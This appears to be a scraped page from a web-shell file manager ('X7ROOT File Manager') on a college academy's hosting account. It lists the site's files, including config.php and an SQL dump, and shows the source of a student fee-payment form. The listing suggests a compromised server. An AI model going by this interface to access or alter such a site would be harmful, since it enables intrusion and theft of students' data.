X7ROOT File Manager
Current Path:
/home/u126090504/domains/shreeganeshacademy.in/public_html
home
/
u126090504
/
domains
/
shreeganeshacademy.in
/
public_html
/
📁
..
📄
Antiraging-Cell.php
(2.73 KB)
📄
B.Ed.&B.P.Ed.php
(4.44 KB)
📄
about-us.php
(8.82 KB)
📄
academic-head-message.php
(5.84 KB)
📄
achievers.php
(3.07 KB)
📁
admin
📄
admission.php
(4.56 KB)
📄
admission_submit.php
(1.96 KB)
📄
album.php
(890 B)
📄
computer-courses.php
(20.66 KB)
📄
config.php
(1.17 KB)
📄
contact-us.php
(14.66 KB)
📄
contactdb.php
(796 B)
📁
css
📄
director's-message.php
(5.17 KB)
📄
downloads.php
(3.14 KB)
📄
error.log
(14.6 KB)
📄
facilities.php
(5.62 KB)
📄
faculty.php
(4.96 KB)
📁
fonts
📄
footer.php
(32.51 KB)
📄
franchise.php
(2.09 KB)
📄
gallery.php
(3.21 KB)
📄
governing-body.php
(3.58 KB)
📄
grievance-form.php
(13.71 KB)
📄
header.php
(13.48 KB)
📁
images
📄
index.php
(71.3 KB)
📁
js
📁
lib
📄
our-recruiters.php
(2.77 KB)
📄
payment.php
(8.1 KB)
📄
payment_submit.php
(10.97 KB)
📄
payment_verify.php
(2.31 KB)
📄
placement.php
(8.33 KB)
📄
principal's-message.php
(6.02 KB)
📁
qrcodes
📁
revolution
📄
scope.php
(14.14 KB)
📄
search_videos.php
(1.76 KB)
📄
shreeganesh.zip
(66.92 MB)
📄
submit-grievance.php
(3.88 KB)
📄
thank-you.php
(1.28 KB)
📄
tutorial.php
(4.8 KB)
📄
u126090504_shreeg.sql
(36.69 KB)
📁
uploads
📄
videos.php
(4.38 KB)
Editing: payment.php
<?php require_once 'config.php'; // load settings $settings = []; $res = $conn->query("SELECT field, value FROM settings"); while ($row = $res->fetch_assoc()) $settings[$row['field']] = $row['value']; $minAdmission = isset($settings['min_admission_amount']) ? (float)$settings['min_admission_amount'] : 1000; $minInstallment = isset($settings['min_installment_amount']) ? (float)$settings['min_installment_amount'] : 1; include 'header.php'; ?> <div class="container" style="max-width:700px; margin:auto;"> <div class="card shadow-lg border-0 rounded-4 my-5"> <div class="card-header text-white text-center rounded-top-4" style="background-color:#030142;"> <h3 class="mb-0" style="color:white;">Student Payment Form</h3> </div> <div class="card-body p-4"> <form action="payment_submit.php" method="POST" id="paymentForm" novalidate> <div class="mb-3"> <label class="form-label">Student Name</label> <input type="text" class="form-control" name="student_name" placeholder="Enter student full name" required> </div> <div class="mb-3"> <label class="form-label">Select Payment Type</label><br> <input type="radio" id="p_new" name="payment_mode" value="new"> <label for="p_new">New Admission</label> <input type="radio" id="p_inst" name="payment_mode" value="installment"> <label for="p_inst">Installment</label> </div> <!-- New Admission --> <div id="newAdmissionFields" style="display:none;"> <div class="mb-3"> <label class="form-label">Father's Name</label> <input type="text" class="form-control" name="father_name" placeholder="Enter father's name"> </div> <div class="mb-3"> <label class="form-label">Date of Birth</label> <input type="date" class="form-control" id="dob" name="dob"> </div> <div class="mb-3"> <label class="form-label">Age</label> <input type="text" class="form-control" id="age" name="age" readonly placeholder="Auto calculated"> </div> <div class="mb-3"> <label class="form-label">College Name</label> <input type="text" class="form-control" name="school" placeholder="Enter school/college name"> </div> <div class="mb-3"> <label class="form-label">Select Course</label> <select class="form-select" name="course" required> <option value="">-- Select Course --</option> <option value="B.Ed.">B.Ed.</option> <option value="B.P.Ed.">B.P.Ed.</option> <option value="P.G">P.G</option> </select> </div> <div class="mb-3"> <label class="form-label">Mobile Number</label> <input type="tel" class="form-control" name="mobile" placeholder="Enter mobile number" pattern="[0-9]{10}" maxlength="10"> <small class="text-muted">Enter 10-digit mobile number</small> </div> <div class="mb-3"> <label class="form-label">Address</label> <textarea class="form-control" name="address" placeholder="Enter full address"></textarea> </div> <div class="mb-3"> <label class="form-label">Admission Fee (Min ₹<?= (int)$minAdmission ?>)</label> <input type="number" class="form-control" id="amount_admission" name="amount_admission" min="<?= (int)$minAdmission ?>" placeholder="Minimum ₹<?= (int)$minAdmission ?>"> </div> </div> <!-- Installment --> <div id="installmentFields" style="display:none;"> <div class="mb-3"> <label class="form-label">Roll No / Admission No</label> <input type="text" class="form-control" name="rollno" placeholder="Enter roll number"> </div> <div class="mb-3"> <label class="form-label">Installment Amount (Min ₹<?= (int)$minInstallment ?>)</label> <input type="number" class="form-control" id="amount_installment" name="amount_installment" min="<?= (int)$minInstallment ?>" placeholder="Minimum ₹<?= (int)$minInstallment ?>"> </div> </div> <!-- Hidden normalized fields sent to server --> <input type="hidden" name="amount" id="amount" value=""> <input type="hidden" name="payment_type" id="payment_type" value=""> <button type="submit" class="btn btn-success w-100 mt-3" id="submitBtn">Proceed to Pay</button> </form> </div> </div> </div> <script> document.addEventListener('DOMContentLoaded', function () { const MIN_ADM = <?= json_encode((float)$minAdmission) ?>; const MIN_INST = <?= json_encode((float)$minInstallment) ?>; const form = document.getElementById('paymentForm'); const newAdm = document.getElementById('newAdmissionFields'); const inst = document.getElementById('installmentFields'); const amtAdm = document.getElementById('amount_admission'); const amtInst = document.getElementById('amount_installment'); const hiddenAmt = document.getElementById('amount'); const paymentTypeInput = document.getElementById('payment_type'); const submitBtn = document.getElementById('submitBtn'); function setVisible(mode) { if (mode === 'new') { newAdm.style.display = 'block'; inst.style.display = 'none'; if (amtAdm) amtAdm.required = true; if (amtInst) { amtInst.required = false; amtInst.value = ''; } paymentTypeInput.value = 'Admission Fee'; } else if (mode === 'installment') { newAdm.style.display = 'none'; inst.style.display = 'block'; if (amtInst) amtInst.required = true; if (amtAdm) { amtAdm.required = false; amtAdm.value = ''; } paymentTypeInput.value = 'Installment'; } } // bind change on radios document.querySelectorAll('input[name="payment_mode"]').forEach(r => { r.addEventListener('change', function() { setVisible(this.value); }); }); // age calculation const dob = document.getElementById('dob'); if (dob) dob.addEventListener('change', function(){ if (!this.value) return; const d = new Date(this.value); const diff = Date.now() - d.getTime(); const ageDate = new Date(diff); const age = Math.abs(ageDate.getUTCFullYear() - 1970); document.getElementById('age').value = age + " years"; }); // Ensure hidden amount set BEFORE native validation runs. // Use 'click' on submit button to set hidden field just before submission. submitBtn.addEventListener('click', function(ev){ // determine which visible amount to use let used = ''; if (amtInst && amtInst.offsetParent !== null && amtInst.value) { used = amtInst.value; paymentTypeInput.value = 'Installment'; } else if (amtAdm && amtAdm.offsetParent !== null && amtAdm.value) { used = amtAdm.value; paymentTypeInput.value = 'Admission Fee'; } hiddenAmt.value = used; // quick client-side numeric min checks to avoid silent block if (paymentTypeInput.value === 'Admission Fee' && (used === '' || parseFloat(used) < MIN_ADM)) { alert('Admission fee must be minimum ₹' + MIN_ADM); ev.preventDefault(); return; } if (paymentTypeInput.value === 'Installment' && (used === '' || parseFloat(used) < MIN_INST)) { alert('Installment must be minimum ₹' + MIN_INST); ev.preventDefault(); return; } // debug: prints to browser console to confirm hidden field is set console.log('DEBUG submit: hidden amount=', hiddenAmt.value, 'payment_type=', paymentTypeInput.value); // allow form submit to continue (native validation will still run) }); // If the page loads and a radio is pre-checked (back button), reflect it const preChecked = document.querySelector('input[name="payment_mode"]:checked'); if (preChecked) setVisible(preChecked.value); }); </script> <?php include 'footer.php'; ?>
Upload File
Create Folder